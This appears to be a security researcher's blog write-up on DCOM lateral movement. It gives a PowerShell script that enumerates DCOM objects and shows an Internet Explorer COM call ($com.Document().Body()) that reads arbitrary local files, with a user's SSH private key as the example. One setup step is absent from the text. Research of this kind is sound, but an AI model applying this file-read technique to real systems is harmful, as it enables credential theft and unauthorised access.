For DCOM attacks, the attacker must already have access to an account with Administrator privileges. This is not a privilege escalation technique, but lateral movement technique using DCOM. You have Administrator credentials, how do you get access to the machine? This article shows one possible way using LFI to get user credentials.
What Are DCOMs
TLDR; Applications have COMs exposed so other applications may interact with it. Some applications expose DCOMs, or Distributed COMs so that some of these functionalities can be called remotely from another machine. For more information, Google or ChatGPT, I don’t want to waste word count on this 😹
Finding DCOMs on a machine
I wrote a simple PowerShell script that does the following
Find all DCOMs on the machine (This gives you the AppID)
For each DCOM, find the corresponding COM (This gives your the CLSID)
For each COM find the ProgID (Not really needed since you can initialize a COM object with just the CLSID)
# Function to find the CLSID and ProgID by AppID
function Get-CLSIDAndProgIDFromAppID {
param (
[string]$AppID
)
# Define the registry path where AppID is linked to CLSID
$CLSIDRegistryPath = "HKLM:\SOFTWARE\Classes\CLSID\"
# Iterate through all CLSID keys and check for the AppID
$CLSIDKeys = Get-ChildItem -Path $CLSIDRegistryPath
$foundCLSID = foreach ($CLSIDKey in $CLSIDKeys) {
$CLSIDKeyPath = "HKLM:\SOFTWARE\Classes\CLSID\$($CLSIDKey.PSChildName)"
# Check if the AppID exists under the CLSID
$currentAppID = Get-ItemProperty -Path $CLSIDKeyPath -Name "AppID" -ErrorAction SilentlyContinue
if ($currentAppID -and $currentAppID.AppID -eq $AppID) {
# Get the ProgID from the CLSID key itself
$SubKeys = Get-ChildItem -Path $CLSIDKeyPath
$ProgID = "none"
$foundProgID = foreach ($SubKey in $SubKeys) {
if ($SubKey.PSChildName -eq "ProgID") {
$ProgIDPath = $CLSIDKeyPath + '\ProgID'
$ProgID = (Get-ItemProperty -Path $ProgIDPath).'(default)'
}
}
# Return CLSID and ProgID
[PSCustomObject]@{
CLSID = $CLSIDKey
ProgID = $ProgID
}
}
}
if ($foundCLSID) {
$foundCLSID
} else {
Write-Host "No CLSID found for AppID: $AppID"
}
}
# Example usage: Input the AppID for which to find the corresponding CLSID and ProgID
$AppIDs = Get-CimInstance Win32_DCOMApplication | select -ExpandProperty AppId
foreach ($AppID in $AppIDs) {
$CLSIDAndProgID = Get-CLSIDAndProgIDFromAppID -AppID $AppID
# Display the results
if ($CLSIDAndProgID) {
$CLSIDAndProgID | Format-Table -Property CLSID, ProgID
}
}
This will start printing out all DCOMs and their CLSID/ProgID
Using the CLSID/ProgID, you can then initialize the COM object and start inspecting the methods for fun and profit.
Now when we call Document(), it will point to the object that IE has opened up, and in this case it’s C:/Users/user2/.ssh/id_ed22519. By interacting with the Document() object, we can interact with the opened file.
$com.Document()
We can then call Get-Member on the Document() object to see methods available to interact with the page.
We see functions like getElementById and getElementsByClassName, which are typical functions to interact with a DOM.
The problem with this is that if the file we’re opening is not a HTML page, it would not have any HTML tags, IDs or Class Names that we extract values from.
Interestingly enough, even though the function body() is not exposed as part of the methods available, we are able to call it on the Document() Object which gives the contents of the page directly.
$com.Document().Body()
This will return us the entire contents of the page, giving us arbitrary file read on the system.
Official Document Object Model (DOM)
What this means is that not all methods that can typically be found in DOM are being exposed when we call $com.Document() | Get-Member
Instead, we need to refer to the “Official” documentation for the DOM object
However, not all methods here are implemented in the COM object too, so it’s a case of trying every single function to see which is present in the COM object
Closing
We’ve explored DCOM and leveraged on a “hidden” function in IE COM object to read local files on the system.
By extracting credentials from sensitive files, we can potentially laterally move into the machine.
Unfortunately I could not find any functions for RCE, but LFI definitely seems good enough.
This is one out of the many DCOMs available, and I’ll publish more writeups if I find something interesting.